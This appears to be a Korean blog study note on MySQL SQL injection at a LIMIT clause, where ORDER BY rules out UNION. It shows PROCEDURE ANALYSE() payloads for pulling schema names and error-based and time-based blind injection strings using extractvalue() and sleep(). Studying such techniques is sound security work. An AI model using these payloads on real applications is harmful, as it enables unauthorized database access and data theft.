[MySQL] MySQL Limit SQL Injection
출처 : (https://hyunmini.tistory.com/46)
(https://bob3rdnewbie.tistory.com/23)
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [injection point]
해당 쿼리에서 중요한 점은 ORDER BY가 사용되었다는 것이다.
MySQL 에서는 UNION 전에 ORDER BY 사용이 불가능하다.
ORDER BY가 사용되지 않았다면 그냥, UNION을 사용하여 쉽게 공격이 가능하다.
위의 경우, PROCEDURE ANALSYS() 함수를 통해 공격이 가능하다.
// UNION, SELECT 필터링 시 유용하게 사용될 수 있다.
MYSQL5 관련문서 내용
SELECT [ALL | DISTINCT | DISTINCTROW ] |
'LIMIT' 함수 이후에는 'PROCEDURE', 'INTO'를 사용할 수 있다.
만약 애플리케이션에서 시스템에 파일을 쓸 수 있는 권한을 가진 DB 계정을 사용하지 않는 이상
'INTO'는 쓸모없게 된다.
LIMIT 함수를 공격하기 위해서 PROCEDURE를 사용해야 한다.
MySQL에서 기본적으로 사용이 가능한 프로시져는 'ANALSYS' 이다.
PROCEDURE ANALSYS()
ANALYSE([
is the maximum number of distinct values that
is the maximum amount of memory that |
Procedure analyse() 를 사용하여 쿼리 명령 시 DB명.테이블명.컬럼명 획득이 가능하다.
mysql> select id from test where no=1 procedure analyse(); +--------------+-----------+-----------+------------+------------+------------------+-----+ | Field_name | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | +--------------+-----------+-----------+------------+------------+------------------+-----+ | test.test.id | admin | admin | 5 | 5 | 0 | 0 | +--------------+-----------+-----------+------------+------------+------------------+-----+ |
하지만, procedure analyse()라는 함수는 limit 절 뒤에 사용이 가능하다.
즉, limit 구문을 앞에 추가하여 필드를 차례로 뽑아내는 것이 가능하다는 이야기이다.
mysql> select id from test where no=1 limit 0,1 procedure analyse(); // 첫째 필드 mysql> select id from test where no=1 limit 1,1 procedure analyse(); // 둘째 필드 mysql> select id from test where no=1 limit 2,1 procedure analyse(); // 셋째 필드 |
여기서, 추가적으로 extravalue() 함수를 사용하여 procedure() 함수 내에서 원하는 값을 뽑아낼 수 있다.
// extravalue() : (https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html) 참고
- error base mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, version())), 1); ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community' - blind mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, (if(mid(version(),1,1) like 5, sleep(5),1))), 1); |
[root me] sql Injection - file reading (0) | 2019.02.26 |
---|---|
[root me] sql Injection - routed (0) | 2019.02.15 |
test1 (0) | 2019.02.06 |
SQL Injection(order by) (0) | 2019.01.25 |
[JAVA] JNI (Java Native Interface) (0) | 2019.01.16 |